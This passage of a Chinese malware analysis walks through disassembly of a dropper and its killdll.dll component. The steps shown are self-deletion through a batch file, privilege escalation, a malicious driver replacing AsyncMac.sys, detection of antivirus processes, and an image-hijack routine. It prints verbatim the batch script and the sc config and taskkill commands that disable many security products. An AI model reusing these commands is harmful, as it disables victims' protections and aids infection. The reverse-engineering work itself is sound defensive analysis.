00401334  |.  FF15 0C604000        call dword ptr ds:[<&advapi32.DeleteService>>;  advapi32.DeleteService
0040133A  |.  56                   push esi
0040133B   |.    FFD3                    call  ebx                                                ;
<&advapi32.CloseServiceHandle>
0040133D  |>  57                    push edi
0040133E  |.  FFD3                 call ebx
00401340  |.  5E                   pop esi
00401341  |.  5B                   pop ebx
```

```
00401342   |>  8B4C24 24            mov ecx,dword ptr ss:[esp+24]
00401346   |.  51                   push ecx                                 ; /FileName
00401347   |.  FF15 24604000        call dword ptr ds:[<&kernel32.DeleteFileA>]  ; \DeleteFileA
0040134D   |.  5F                   pop edi
0040134E   |.  83C4 1C              add esp,1C
00401351   \.  C3                   retn
```

十一、在临时文件夹下创建批处理_undelme.bat，并且运行之，目的是用来删除自身

```
00401BD2    .  E8 99F8FFFF         call UnPacked.00401470                   ;  删除自身
{
00401470   /.  81EC 04050000       sub esp,504
00401476   |.  8D8424 08010000     lea eax,dword ptr ss:[esp+108]
0040147D   |.  53                   push ebx
0040147E   |.  56                   push esi
0040147F   |.  57                   push edi
00401480   |.  50                   push eax                                 ; /Buffer
00401481   |.  68 04010000          push 104                                 ; |BufSize = 104 (260.)
00401486   |.  FF15 38604000        call dword ptr ds:[<&kernel32.GetTempPathA>] ; \GetTempPathA
0040148C   |.  BF 20614000          mov edi,UnPacked.00406120                ;  ASCII "_undelme.bat"
00401491   |.  83C9 FF              or ecx,FFFFFFFF
00401494   |.  33C0                 xor eax,eax
00401496   |.  8D9424 14010000     lea edx,dword ptr ss:[esp+114]
0040149D   |.  F2:AE                repne scas byte ptr es:[edi]
0040149F   |.  F7D1                 not ecx
004014A1   |.  2BF9                 sub edi,ecx
004014A3   |.  68 04010000          push 104                                 ; /BufSize = 104 (260.)
004014A8   |.  8BF7                 mov esi,edi                              ; |
004014AA   |.  8BD9                 mov ebx,ecx                              ; |
004014AC   |.  8BFA                 mov edi,edx                              ; |
004014AE   |.  83C9 FF              or ecx,FFFFFFFF                          ; |
004014B1   |.  F2:AE                repne scas byte ptr es:[edi]              ; |
004014B3   |.  8BCB                 mov ecx,ebx                              ; |
004014B5   |.  4F                   dec edi                                  ; |
004014B6   |.  C1E9 02              shr ecx,2                                ; |
004014B9   |.  F3:A5                rep movs dword ptr es:[edi],dword ptr ds:[es>; |
004014BB   |.  8BCB                 mov ecx,ebx                              ; |
004014BD   |.  8D4424 14            lea eax,dword ptr ss:[esp+14]            ; |
004014C1   |.  83E1 03              and ecx,3                                ; |
004014C4   |.  50                   push eax                                 ; |PathBuffer
004014C5   |.  F3:A4                rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |
004014C7   |.  6A 00                push 0                                   ; |hModule = NULL
004014C9   |.  FF15 34604000        call dword ptr ds:[<&kernel32.GetModuleFileN>; \GetModuleFileNameA
004014CF   |.  8D4C24 10            lea ecx,dword ptr ss:[esp+10]
004014D3   |.  68 04010000          push 104                                 ; /MaxShortPathSize =
104 (260.)
004014D8   |.  8D5424 14            lea edx,dword ptr ss:[esp+14]            ; |
004014DC   |.  51                   push ecx                                 ; |ShortPath
004014DD   |.  52                   push edx                                 ; |LongPath
004014DE   |.  FF15 30604000        call dword ptr ds:[<&kernel32.GetShortPathNa>; \GetShortPathNameA
004014E4   |.  8D7C24 10            lea edi,dword ptr ss:[esp+10]
004014E8   |.  83C9 FF              or ecx,FFFFFFFF
```

```
004014EB  |.  33C0                xor eax,eax
004014ED  |.  8D9424 18020000     lea edx,dword ptr ss:[esp+218]
004014F4  |.  F2:AE               repne scas byte ptr es:[edi]
004014F6  |.  F7D1                not ecx
004014F8  |.  2BF9                sub edi,ecx
004014FA  |.  6A 5C               push 5C
004014FC  |.  8BC1                mov eax,ecx
004014FE  |.  8BF7                mov esi,edi
00401500  |.  8BFA                mov edi,edx
00401502  |.  C1E9 02             shr ecx,2
00401505  |.  F3:A5               rep movs dword ptr es:[edi],dword ptr ds:[es>
00401507  |.  8BC8                mov ecx,eax
00401509  |.  83E1 03             and ecx,3
0040150C  |.  F3:A4               rep movs byte ptr es:[edi],byte ptr ds:[esi]
0040150E  |.  8D8C24 1C020000     lea ecx,dword ptr ss:[esp+21C]
00401515  |.  51                  push ecx
00401516  |.  E8 05080000         call UnPacked.00401D20
0040151B  |.  83C4 08             add esp,8
0040151E  |.  85C0                test eax,eax
00401520  |.  74 03               je short UnPacked.00401525
00401522  |.  C600 00             mov byte ptr ds:[eax],0
00401525  |>  6A 00               push 0                                  ; /hTemplateFile = NULL
00401527  |.  68 80000000         push 80                                 ; |Attributes = NORMAL
0040152C  |.  6A 02               push 2                                  ; |Mode = Create_ALWAYS
0040152E  |.  6A 00               push 0                                  ; |pSecurity = NULL
00401530  |.  6A 00               push 0                                  ; |ShareMode = 0
00401532  |.  8D9424 28010000     lea edx,dword ptr ss:[esp+128]          ; |
00401539  |.  68 00000040         push 40000000                                   ; |Access =
GENERIC_WRITE
0040153E  |.  52                  push edx                                ; |FileName
0040153F  |.  FF15 74604000       call dword ptr ds:[<&kernel32.CreateFileA>]  ; \CreateFileA
00401545  |.  8BF0                mov esi,eax
00401547  |.  83FE FF             cmp esi,-1
0040154A  |.  74 6F               je short UnPacked.004015BB
0040154C  |.  8D8424 14010000     lea eax,dword ptr ss:[esp+114]
00401553  |.  8D8C24 18020000     lea ecx,dword ptr ss:[esp+218]
0040155A  |.  50                  push eax                                ; /<%s>
0040155B  |.  8D5424 14           lea edx,dword ptr ss:[esp+14]           ; |
0040155F  |.  51                  push ecx                                ; |<%s>
00401560  |.  8D4424 18           lea eax,dword ptr ss:[esp+18]           ; |
00401564  |.  52                  push edx                                ; |<%s>
00401565  |.  50                  push eax                                ; |<%s>
00401566  |.  8D8C24 2C030000     lea ecx,dword ptr ss:[esp+32C]          ; |
0040156D  |.  68 30704000         push UnPacked.00407030                  ; |Format = ":Repeat
del "%s"
if exist "%s" goto Repeat
rmdir %s
del "%s""
00401572  |.  51                  push ecx                                ; |s
00401573  |.  FF15 10614000       call dword ptr ds:[<&user32.wsprintfA>]  ; \wsprintfA
00401579  |.  8DBC24 34030000     lea edi,dword ptr ss:[esp+334]
00401580  |.  83C9 FF             or ecx,FFFFFFFF
```

```
00401583   |.  33C0                  xor eax,eax
00401585   |.  83C4 18               add esp,18
00401588   |.  F2:AE                 repne scas byte ptr es:[edi]
0040158A   |.  F7D1                  not ecx
0040158C   |.  8D5424 0C             lea edx,dword ptr ss:[esp+C]
00401590   |.  6A 00                 push 0                                   ; /pOverlapped = NULL
00401592   |.  49                    dec ecx                                  ; |
00401593   |.  52                    push edx                                 ; |pBytesWritten
00401594   |.  8D8424 24030000       lea eax,dword ptr ss:[esp+324]           ; |
0040159B   |.  51                    push ecx                                 ; |nBytesToWrite
0040159C   |.  50                    push eax                                 ; |Buffer
0040159D   |.  56                    push esi                                 ; |hFile
0040159E   |.  FF15 7C604000         call dword ptr ds:[<&kernel32.WriteFile>]  ; \WriteFile
004015A4   |.  56                    push esi                                   ; /hObject
004015A5   |.  FF15 84604000         call dword ptr ds:[<&kernel32.CloseHandle>]  ; \CloseHandle
004015AB   |.  8D8C24 14010000       lea ecx,dword ptr ss:[esp+114]
004015B2   |.  6A 00                 push 0                                   ; /ShowState = SW_HIDE
004015B4   |.  51                    push ecx                                 ; |CmdLine
004015B5   |.  FF15 2C604000         call dword ptr ds:[<&kernel32.WinExec>]   ; \WinExec
004015BB   |>   5F                   pop edi
004015BC   |.  5E                    pop esi
004015BD   |.  5B                    pop ebx
004015BE   |.  81C4 04050000         add esp,504
004015C4   \.  C3                    retn
}
```

批处理内容为：

```
:Repeat
del "C:\Documents and Settings\Administrator\桌面\g1[1]\UnPacked.exe"
if exist "C:\Documents and Settings\Administrator\桌面\g1[1]\UnPacked.exe" goto Repeat
rmdir C:\Documents and Settings\Administrator\桌面\g1[1]
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_undelme.bat"
```

原程序的大致流程就是这样，下面来看下 killdll.dll

一、提权

```
10004A60    83EC 14                 sub esp,14
10004A63    8D4424 00               lea eax,dword ptr ss:[esp]
10004A67    50                      push eax
10004A68    6A 28                   push 28
10004A6A        FF15  68040010              call  dword  ptr  ds:[<&KERNEL32.GetCurrentProc>;
kernel32.GetCurrentProcess
10004A70    50                      push eax
10004A71        FF15  14040010              call  dword  ptr  ds:[<&ADVAPI32.OpenProcessTok>;
advapi32.OpenProcessToken
10004A77    85C0                    test eax,eax
10004A79    75 04                   jnz short killdll.10004A7F
10004A7B    83C4 14                 add esp,14
10004A7E    C3                      retn
10004A7F    8D4C24 08               lea ecx,dword ptr ss:[esp+8]
10004A83    51                      push ecx
```

```
10004A84    68 E40B0010          push killdll.10000BE4                    ; SeDebugPrivilege
10004A89    6A 00                push 0
10004A8B        FF15  0C040010                call  dword  ptr  ds:[<&ADVAPI32.LookupPrivileg>;
advapi32.LookupPrivilegeValueA
10004A91    85C0                 test eax,eax
10004A93    75 04                jnz short killdll.10004A99
10004A95    83C4 14              add esp,14
10004A98    C3                   retn
10004A99    8B4424 00            mov eax,dword ptr ss:[esp]
10004A9D    6A 00                push 0
10004A9F    6A 00                push 0
10004AA1    8D5424 0C            lea edx,dword ptr ss:[esp+C]
10004AA5    6A 10                push 10
10004AA7    52                   push edx
10004AA8    6A 00                push 0
10004AAA    50                   push eax
10004AAB    C74424 1C 01000000   mov dword ptr ss:[esp+1C],1
10004AB3    C74424 28 02000000   mov dword ptr ss:[esp+28],2
10004ABB        FF15  10040010                call  dword  ptr  ds:[<&ADVAPI32.AdjustTokenPri>;
advapi32.AdjustTokenPrivileges
10004AC1    83C4 14              add esp,14
10004AC4    C3                   retn
```

二、创建驱动 aec.sys

```
10003FEA    8B5424 14            mov edx,dword ptr ss:[esp+14]
10003FEE    6A 00                push 0
10003FF0    6A 00                push 0
10003FF2    6A 02                push 2
10003FF4    6A 00                push 0
10003FF6    6A 00                push 0
10003FF8    68 00000040          push 40000000
10003FFD    52                   push edx
10003FFE    FF15 94040010        call dword ptr ds:[<&KERNEL32.CreateFileA>]   ; kernel32.CreateFileA
10004004    8BF0                 mov esi,eax
10004006    85F6                 test esi,esi
10004008    75 05                jnz short killdll.1000400F
1000400A    5F                   pop edi
1000400B    5E                   pop esi
1000400C    5B                   pop ebx
1000400D    59                   pop ecx
1000400E    C3                   retn
1000400F    8D4424 0C            lea eax,dword ptr ss:[esp+C]
10004013    6A 00                push 0
10004015    50                   push eax
10004016    53                   push ebx
10004017    57                   push edi
10004018    FF15 98040010        call dword ptr ds:[<&KERNEL32.LockResource>] ; kernel32.SetHandleCount
1000401E    50                   push eax
1000401F    56                   push esi
10004020    FF15 9C040010        call dword ptr ds:[<&KERNEL32.WriteFile>]     ; kernel32.WriteFile
10004026    56                   push esi
```

```
10004027    FF15 A0040010        call dword ptr ds:[<&KERNEL32.CloseHandle>]   ; kernel32.CloseHandle
1000402D    5F                   pop edi
1000402E    5E                   pop esi
1000402F    83C8 FF              or eax,FFFFFFFF
10004032    5B                   pop ebx
10004033    59                   pop ecx
10004034    C3                   retn
```

三、遍历进程，查找是否存在 CCENTER.EXE，CCENTER.EXE 是瑞星杀毒软件的相关程序进程

```
100049E0    81EC 28010000        sub esp,128
100049E6    56                   push esi
100049E7    57                   push edi
100049E8    6A 00                push 0
100049EA    6A 02                push 2
100049EC    E8 CB060000          call <jmp.&KERNEL32.CreateToolhelp32Snapshot>
100049F1    8BF0                 mov esi,eax
100049F3    8D4424 08            lea eax,dword ptr ss:[esp+8]
100049F7    50                   push eax
100049F8    56                   push esi
100049F9    E8 B8060000          call <jmp.&KERNEL32.Process32First>
100049FE    8BBC24 34010000      mov edi,dword ptr ss:[esp+134]
10004A05    8D4C24 2C            lea ecx,dword ptr ss:[esp+2C]
10004A09    51                   push ecx
10004A0A    57                   push edi
10004A0B    E8 C0060000          call killdll.100050D0
10004A10    83C4 08              add esp,8
10004A13    85C0                 test eax,eax
10004A15    74 21                je short killdll.10004A38
10004A17    8D5424 08            lea edx,dword ptr ss:[esp+8]
10004A1B    52                   push edx
10004A1C    56                   push esi
10004A1D    E8 8E060000          call <jmp.&KERNEL32.Process32Next>
10004A22    85C0                 test eax,eax
10004A24    74 1D                je short killdll.10004A43
10004A26    8D4424 2C            lea eax,dword ptr ss:[esp+2C]
10004A2A    50                   push eax
10004A2B    57                   push edi
10004A2C    E8 9F060000          call killdll.100050D0
10004A31    83C4 08              add esp,8
10004A34    85C0                 test eax,eax
10004A36  ^ 75 DF                jnz short killdll.10004A17
10004A38    5F                   pop edi
10004A39    B0 01                mov al,1                    //存在 AL 返回1
10004A3B    5E                   pop esi
10004A3C    81C4 28010000        add esp,128
10004A42    C3                   retn
10004A43    56                   push esi
10004A44    FF15 A0040010        call dword ptr ds:[<&KERNEL32.CloseHandle>]   ; kernel32.CloseHandle
10004A4A    5F                   pop edi
10004A4B    32C0                 xor al,al                   //不存在，AL 清0，返回0
10004A4D    5E                   pop esi
10004A4E    81C4 28010000        add esp,128
```

```
10004A54    C3                  retn
```

若存在，AL 返回1，若不存在，AL 返回0

四、若存在，则进行下面的操作

1)替换 C:\WINDOWS\system32\drivers 文件夹下的 AsyncMac.sys

//删除 AsyncMac.sys

```
1000497B    8D4C24 00           lea ecx,dword ptr ss:[esp]
1000497F    68 B00B0010         push killdll.10000BB0                   ; \drivers\AsyncMac.sys
10004984    51                  push ecx
10004985    FF15 C4040010       call dword ptr ds:[<&KERNEL32.lstrcatA>]    ; kernel32.lstrcatA
1000498B    8D5424 00           lea edx,dword ptr ss:[esp]
1000498F    52                  push edx
10004990    FF15 60040010       call dword ptr ds:[<&KERNEL32.DeleteFileA>]  ; kernel32.DeleteFileA
```

//再从自身的资源里释放一个 AsyncMac.sys 出来，达到替换的目的

```
10003FA0    51                  push ecx
10003FA1    53                  push ebx
10003FA2    56                  push esi
10003FA3    57                  push edi
10003FA4    68 04060010         push killdll.10000604                   ; killdll.dll
10003FA9    FF15 A8040010       call dword ptr ds:[<&KERNEL32.GetModuleHandl>;
kernel32.GetModuleHandleA
10003FAF    8B4C24 18           mov ecx,dword ptr ss:[esp+18]
10003FB3    8BF0                mov esi,eax
10003FB5    8B4424 1C           mov eax,dword ptr ss:[esp+1C]
10003FB9    81E1 FFFF0000       and ecx,0FFFF
10003FBF    50                  push eax
10003FC0    51                  push ecx
10003FC1    56                  push esi
10003FC2    FF15 88040010       call dword ptr ds:[<&KERNEL32.FindResourceA>>; kernel32.FindResourceA
10003FC8    8BF8                mov edi,eax
10003FCA    85FF                test edi,edi
10003FCC    74 5F               je short killdll.1000402D
10003FCE    57                  push edi
10003FCF    56                  push esi
10003FD0    FF15 8C040010       call dword ptr ds:[<&KERNEL32.SizeofResource>; kernel32.SizeofResource
10003FD6    8BD8                mov ebx,eax
10003FD8    85DB                test ebx,ebx
10003FDA    74 51               je short killdll.1000402D
10003FDC    57                  push edi
10003FDD    56                  push esi
10003FDE    FF15 90040010       call dword ptr ds:[<&KERNEL32.LoadResource>] ; kernel32.LoadResource
10003FE4    8BF8                mov edi,eax
10003FE6    85FF                test edi,edi
10003FE8    74 43               je short killdll.1000402D
10003FEA    8B5424 14           mov edx,dword ptr ss:[esp+14]
10003FEE    6A 00               push 0
10003FF0    6A 00               push 0
10003FF2    6A 02               push 2
10003FF4    6A 00               push 0
10003FF6    6A 00               push 0
```

```
10003FF8    68 00000040          push 40000000
10003FFD    52                   push edx
10003FFE    FF15 94040010        call dword ptr ds:[<&KERNEL32.CreateFileA>]   ; kernel32.CreateFileA
10004004    8BF0                 mov esi,eax
10004006    85F6                 test esi,esi
10004008    75 05                jnz short killdll.1000400F
1000400A    5F                   pop edi
1000400B    5E                   pop esi
1000400C    5B                   pop ebx
1000400D    59                   pop ecx
1000400E    C3                   retn
1000400F    8D4424 0C            lea eax,dword ptr ss:[esp+C]
10004013    6A 00                push 0
10004015    50                   push eax
10004016    53                   push ebx
10004017    57                   push edi
10004018    FF15 98040010        call dword ptr ds:[<&KERNEL32.LockResource>] ; kernel32.SetHandleCount
1000401E    50                   push eax
1000401F    56                   push esi
10004020    FF15 9C040010        call dword ptr ds:[<&KERNEL32.WriteFile>]     ; kernel32.WriteFile
10004026    56                   push esi
10004027    FF15 A0040010        call dword ptr ds:[<&KERNEL32.CloseHandle>]   ; kernel32.CloseHandle
1000402D    5F                   pop edi
1000402E    5E                   pop esi
1000402F    83C8 FF              or eax,FFFFFFFF
10004032    5B                   pop ebx
10004033    59                   pop ecx
10004034    C3                   retn
```

2)创建服务，用来加载替换的驱动 AsyncMac.sys

```
10004180    8B5424 2C            mov edx,dword ptr ss:[esp+2C]
10004184    6A 00                push 0
10004186    6A 00                push 0
10004188    6A 00                push 0
1000418A    6A 00                push 0
1000418C    6A 00                push 0
1000418E    52                   push edx
1000418F    6A 00                push 0
10004191    6A 03                push 3
10004193    6A 01                push 1
10004195    6A 10                push 10
10004197    68 30060010          push killdll.10000630                        ; RCTV
1000419C    68 24060010          push killdll.10000624                        ; AsyncMac
100041A1    57                   push edi
100041A2    FF15 24040010        call dword ptr ds:[<&ADVAPI32.CreateServiceA>; advapi32.CreateServiceA
100041A8    8BF0                 mov esi,eax
100041AA    FF15 C8040010        call dword ptr ds:[<&KERNEL32.GetLastError>] ; ntdll.RtlGetLastWin32Error
100041B0    3D 31040000          cmp eax,431
100041B5    75 1E                jnz short killdll.100041D5
100041B7    6A 10                push 10
100041B9    68 24060010          push killdll.10000624                        ; AsyncMac
100041BE    57                   push edi
```

```
100041BF    FF15 2C040010        call dword ptr ds:[<&ADVAPI32.OpenServiceA>] ; advapi32.OpenServiceA
100041C5    8BF0                 mov esi,eax
100041C7    8D4424 0C            lea eax,dword ptr ss:[esp+C]
100041CB    50                   push eax
100041CC    6A 01                push 1
100041CE    56                   push esi
100041CF    FF15 34040010        call dword ptr ds:[<&ADVAPI32.ControlService>; advapi32.ControlService
100041D5    6A 00                push 0
100041D7    6A 00                push 0
100041D9    56                   push esi
100041DA    FF15 38040010        call dword ptr ds:[<&ADVAPI32.StartServiceA>>; advapi32.StartServiceA
100041E0    6A 00                push 0
100041E2    6A 00                push 0
100041E4    6A 03                push 3
100041E6    6A 00                push 0
100041E8    6A 03                push 3
100041EA    68 000000C0          push C0000000
100041EF    68 14060010          push killdll.10000614                    ; \\.\KILLPS_Drv
100041F4    FF15 94040010        call dword ptr ds:[<&KERNEL32.CreateFileA>]  ; kernel32.CreateFileA
100041FA    56                   push esi
100041FB    8B35 30040010        mov esi,dword ptr ds:[<&ADVAPI32.CloseServic>;
advapi32.CloseServiceHandle
10004201    8BE8                 mov ebp,eax
10004203    FFD6                 call esi
10004205    57                   push edi
10004206    FFD6                 call esi
10004208    5E                   pop esi
10004209    8BC5                 mov eax,ebp
1000420B    5F                   pop edi
1000420C    5D                   pop ebp
1000420D    83C4 1C              add esp,1C
10004210    C3                   retn
10004211    8B7424 2C            mov esi,dword ptr ss:[esp+2C]
10004215    56                   push esi
10004216    8B35 30040010        mov esi,dword ptr ds:[<&ADVAPI32.CloseServic>;
advapi32.CloseServiceHandle
1000421C    FFD6                 call esi
1000421E    57                   push edi
1000421F    FFD6                 call esi
10004221    5E                   pop esi
10004222    8BC5                 mov eax,ebp
10004224    5F                   pop edi
10004225    5D                   pop ebp
10004226    83C4 1C              add esp,1C
10004229    C3                   retn
1000422A    8BC5                 mov eax,ebp
1000422C    5F                   pop edi
1000422D    5D                   pop ebp
1000422E    83C4 1C              add esp,1C
10004231    C3                   retn
```

3)遍历如下进程
其中，要遍历的进程名的字符串都是加密的，而解密算法同主程序里的算法
进程为：

avp.exe、safeboxTray.exe、360Safebox.exe、360tray.exe、antiarp.exe、ekrn.exe、RsAgent.exe、egui.exe、RavMon.exe、RavMonD.exe、RavTask.exe、CCenter.exe、RavStub.exe、RsTray.exe、ScanFrm.exe、Rav.exe、AgentSvr.exe、QQDoctor.exe、McProxy.exe、McNASvc.exe、Mcshield.exe、rsnetsvr.exe、MpfSrv.exe、MPSVC.EXE、MPSVC3.EXE、KISSvc.exe、kmailmon.exe、KavStart.exe、KPFW32.EXE、KVMonXP.KXP、KVSrvXP.exe、ccSetMgr.exe、ccEvtMgr.exe、defwatch.exe、rtvscan.exe、ccapp.exe、vptray.exe、mcupdmgr.exe、mcproxy.exe、mcshield.exe、MPFSrv.exe、mcsysmon.exe、mcmscsvc.exe、mcnasvc.exe、mcagent.exe、mcshell.exe、mcinsupd.exe、bdagent.exe、livesrv.exe、vsserv.exe、xcommsvr.exe

解密完之后，下面开始遍历进程：

```
1000470F      6A 00                   push 0
10004711      6A 02                   push 2
10004713      E8 A4090000              call <jmp.&KERNEL32.CreateToolhelp32Snapshot>
10004718      85C0                    test eax,eax
1000471A      894424 18               mov dword ptr ss:[esp+18],eax
1000471E      0F84 D8010000            je killdll.100048FC
10004724      8D8C24 F4000000          lea ecx,dword ptr ss:[esp+F4]
1000472B      C78424 F4000000 2801>mov dword ptr ss:[esp+F4],128
10004736      51                      push ecx
10004737      50                      push eax
10004738      E8 79090000              call <jmp.&KERNEL32.Process32First>
1000473D      85C0                    test eax,eax
1000473F      0F84 B7010000            je killdll.100048FC
10004745      8BAC24 20040000          mov ebp,dword ptr ss:[esp+420]
1000474C      8B35 54040010            mov esi,dword ptr ds:[<&KERNEL32.WinExec>]     ; kernel32.WinExec
10004752      8B3D 50040010            mov edi,dword ptr ds:[<&KERNEL32.Sleep>]       ; kernel32.Sleep
10004758      8D5C24 1C               lea ebx,dword ptr ss:[esp+1C]
1000475C      C74424 10 35000000      mov dword ptr ss:[esp+10],35
10004764      8B03                    mov eax,dword ptr ds:[ebx]
10004766      8D9424 18010000          lea edx,dword ptr ss:[esp+118]
1000476D      52                      push edx
1000476E      50                      push eax
1000476F      E8 5C090000              call killdll.100050D0
10004774      83C4 08                 add esp,8
10004777      85C0                    test eax,eax
10004779      0F85 4D010000            jnz killdll.100048CC
1000477F      8B8C24 FC000000          mov ecx,dword ptr ss:[esp+FC]
10004786      8D9424 F0000000          lea edx,dword ptr ss:[esp+F0]
1000478D      50                      push eax
1000478E      52                      push edx
1000478F      50                      push eax
10004790      50                      push eax
10004791      8D4424 24               lea eax,dword ptr ss:[esp+24]
10004795      6A 04                   push 4
10004797      50                      push eax
10004798      68 04202200              push 222004
1000479D      55                      push ebp
1000479E      894C24 34               mov dword ptr ss:[esp+34],ecx
100047A2      FF15 C0040010            call dword ptr ds:[<&KERNEL32.DeviceIoContro>; kernel32.DeviceIoControl
100047A8      8D8C24 18010000          lea ecx,dword ptr ss:[esp+118]
```

```
100047AF      51                    push ecx
100047B0      68 04090010           push killdll.10000904                    ; ekrn.exe
100047B5      E8 16090000           call killdll.100050D0
100047BA      83C4 08               add esp,8
100047BD      85C0                  test eax,eax
100047BF      75 18                 jnz short killdll.100047D9
100047C1      50                    push eax
100047C2      68 DC080010           push killdll.100008DC                    ; cmd /c sc config ekrn
start= disabled
100047C7      FFD6                  call esi
100047C9      68 C8000000           push 0C8
100047CE      FFD7                  call edi
100047D0      6A 00                 push 0
100047D2      68 BC080010           push killdll.100008BC                    ; cmd /c taskkill /im
ekrn.exe /f
100047D7      FFD6                  call esi
100047D9      8D9424 18010000       lea edx,dword ptr ss:[esp+118]
100047E0      52                    push edx
100047E1      68 B4080010           push killdll.100008B4                    ; avp.exe
100047E6      E8 E5080000           call killdll.100050D0
100047EB      83C4 08               add esp,8
100047EE      85C0                  test eax,eax
100047F0      75 18                 jnz short killdll.1000480A
100047F2      50                    push eax
100047F3      68 8C080010           push killdll.1000088C                    ; cmd /c sc config avp start=
disabled
100047F8      FFD6                  call esi
100047FA      68 C8000000           push 0C8
100047FF      FFD7                  call edi
10004801      6A 00                 push 0
10004803      68 6C080010           push killdll.1000086C                    ; cmd /c taskkill /im avp.exe
/f
10004808      FFD6                  call esi
1000480A      8D8424 18010000       lea eax,dword ptr ss:[esp+118]
10004811      50                    push eax
10004812      68 60080010           push killdll.10000860                    ; MPFSrv.exe
10004817      E8 B4080000           call killdll.100050D0
1000481C      83C4 08               add esp,8
1000481F      85C0                  test eax,eax
10004821      75 58                 jnz short killdll.1000487B
10004823      50                    push eax
10004824      68 34080010           push killdll.10000834                    ; cmd /c sc config McNASvc
start= disabled
10004829      FFD6                  call esi
1000482B      68 C8000000           push 0C8
10004830      FFD7                  call edi
10004832      6A 00                 push 0
10004834      68 08080010           push killdll.10000808                    ; cmd /c sc config MpfService
start= disabled
10004839      FFD6                  call esi
1000483B      68 C8000000           push 0C8
10004840      FFD7                  call edi
```

```
10004842      6A 00                push 0
10004844      68 DC070010           push killdll.100007DC                    ; cmd /c sc config McProxy
start= disabled
10004849      FFD6                 call esi
1000484B      68 C8000000           push 0C8
10004850      FFD7                 call edi
10004852      6A 00                push 0
10004854      68 B0070010           push killdll.100007B0                    ; cmd /c sc config McShield
start= disabled
10004859      FFD6                 call esi
1000485B      68 C8000000           push 0C8
10004860      FFD7                 call edi
10004862      6A 00                push 0
10004864      68 84070010           push killdll.10000784                    ; cmd /c sc config mcmscsvc
start= disabled
10004869      FFD6                 call esi
1000486B      68 C8000000           push 0C8
10004870      FFD7                 call edi
10004872      6A 00                push 0
10004874      68 58070010           push killdll.10000758                    ; cmd /c sc config Mcshield
start= disabled
10004879      FFD6                 call esi
1000487B      8D8C24 18010000       lea ecx,dword ptr ss:[esp+118]
10004882      51                   push ecx
10004883      68 4C070010           push killdll.1000074C                    ; bdagent.exe
10004888      E8 43080000          call killdll.100050D0
1000488D      83C4 08              add esp,8
10004890      85C0                 test eax,eax
10004892      75 38                jnz short killdll.100048CC
10004894      50                   push eax
10004895      68 24070010           push killdll.10000724                    ; cmd /c sc config XCOMM
start= disabled
1000489A      FFD6                 call esi
1000489C      68 C8000000           push 0C8
100048A1      FFD7                 call edi
100048A3      6A 00                push 0
100048A5      68 F8060010           push killdll.100006F8                    ; cmd /c sc config LIVESRV
start= disabled
100048AA      FFD6                 call esi
100048AC      68 C8000000           push 0C8
100048B1      FFD7                 call edi
100048B3      6A 00                push 0
100048B5      68 D0060010           push killdll.100006D0                    ; cmd /c sc config scan
start= disabled
100048BA      FFD6                 call esi
100048BC      68 C8000000           push 0C8
100048C1      FFD7                 call edi
100048C3      6A 00                push 0
100048C5      68 A8060010           push killdll.100006A8                    ; cmd /c sc config VSSERV
start= disabled
100048CA      FFD6                 call esi
100048CC      8B4424 10            mov eax,dword ptr ss:[esp+10]
```

```
100048D0      83C3 04                 add ebx,4
100048D3      48                      dec eax
100048D4      894424 10               mov dword ptr ss:[esp+10],eax
100048D8    ^ 0F85 86FEFFFF           jnz killdll.10004764
100048DE      6A 64                   push 64
100048E0      FFD7                    call edi
100048E2      8D9424 F4000000          lea edx,dword ptr ss:[esp+F4]
100048E9      8B4424 18               mov eax,dword ptr ss:[esp+18]
100048ED      52                      push edx
100048EE      50                      push eax
100048EF      E8 BC070000              call <jmp.&KERNEL32.Process32Next>
100048F4      85C0                    test eax,eax
100048F6    ^ 0F85 5CFEFFFF           jnz killdll.10004758
100048FC      8D7424 1C                lea esi,dword ptr ss:[esp+1C]
10004900      BF 35000000             mov edi,35
10004905      8B0E                    mov ecx,dword ptr ds:[esi]
10004907      51                      push ecx
10004908      E8 C3F9FFFF             call killdll.100042D0
1000490D      83C4 04                  add esp,4
10004910      83C6 04                 add esi,4
10004913      4F                      dec edi
10004914    ^ 75 EF                   jnz short killdll.10004905
10004916      5F                      pop edi
10004917      5E                      pop esi
10004918      5D                      pop ebp
10004919      33C0                    xor eax,eax
1000491B      5B                      pop ebx
1000491C      81C4 0C040000            add esp,40C
10004922      C2 0400                 retn 4
```

若存在，则用相应的批处理加以结束

```
cmd /c sc config ekrn start= disabled
cmd /c taskkill /im ekrn.exe /f
cmd /c sc config avp start= disabled
cmd /c taskkill /im avp.exe /f
cmd /c sc config McNASvc start= disabled
cmd /c sc config MpfService start= disabled
cmd /c sc config McProxy start= disabled
cmd /c sc config McShield start= disabled
cmd /c sc config mcmscsvc start= disabled
cmd /c sc config XCOMM start= disabled
cmd /c sc config LIVESRV start= disabled
cmd /c sc config scan start= disabled
cmd /c sc config VSSERV start= disabled
```

4)进行镜像劫持，劫持的地址为 C:\WINDOWS\system32\svchost.exe

```
10004905      8B0E                    mov ecx,dword ptr ds:[esi]
10004907      51                      push ecx
10004908      E8 C3F9FFFF             call killdll.100042D0          //镜像劫持
{
100042D0      81EC 04020000            sub esp,204
```

```
100042D6    B9 3F000000             mov ecx,3F
100042DB    33C0                    xor eax,eax
100042DD    53                      push ebx
100042DE    55                      push ebp
100042DF    56                      push esi
100042E0    57                      push edi
100042E1    8D7C24 14               lea edi,dword ptr ss:[esp+14]
100042E5    68 FF000000             push 0FF
100042EA    F3:AB                   rep stos dword ptr es:[edi]
100042EC    66:AB                   stos word ptr es:[edi]
100042EE    AA                      stos byte ptr es:[edi]
100042EF    B9 3F000000             mov ecx,3F
100042F4    33C0                    xor eax,eax
100042F6    8DBC24 18010000         lea edi,dword ptr ss:[esp+118]
100042FD    F3:AB                   rep stos dword ptr es:[edi]
100042FF    66:AB                   stos word ptr es:[edi]
10004301    AA                      stos byte ptr es:[edi]
10004302    8D4424 18               lea eax,dword ptr ss:[esp+18]
10004306    50                      push eax
10004307        FF15  84040010              call  dword  ptr  ds:[<&KERNEL32.GetSystemDirec>;
kernel32.GetSystemDirectoryA
1000430D    83C9 FF                 or ecx,FFFFFFFF
10004310    BF 98060010             mov edi,killdll.10000698                ; \svchost.exe
10004315    33C0                    xor eax,eax
10004317    8D5424 14               lea edx,dword ptr ss:[esp+14]
1000431B    F2:AE                   repne scas byte ptr es:[edi]
1000431D    F7D1                    not ecx
1000431F    2BF9                    sub edi,ecx
10004321    8BD9                    mov ebx,ecx
10004323    8BF7                    mov esi,edi
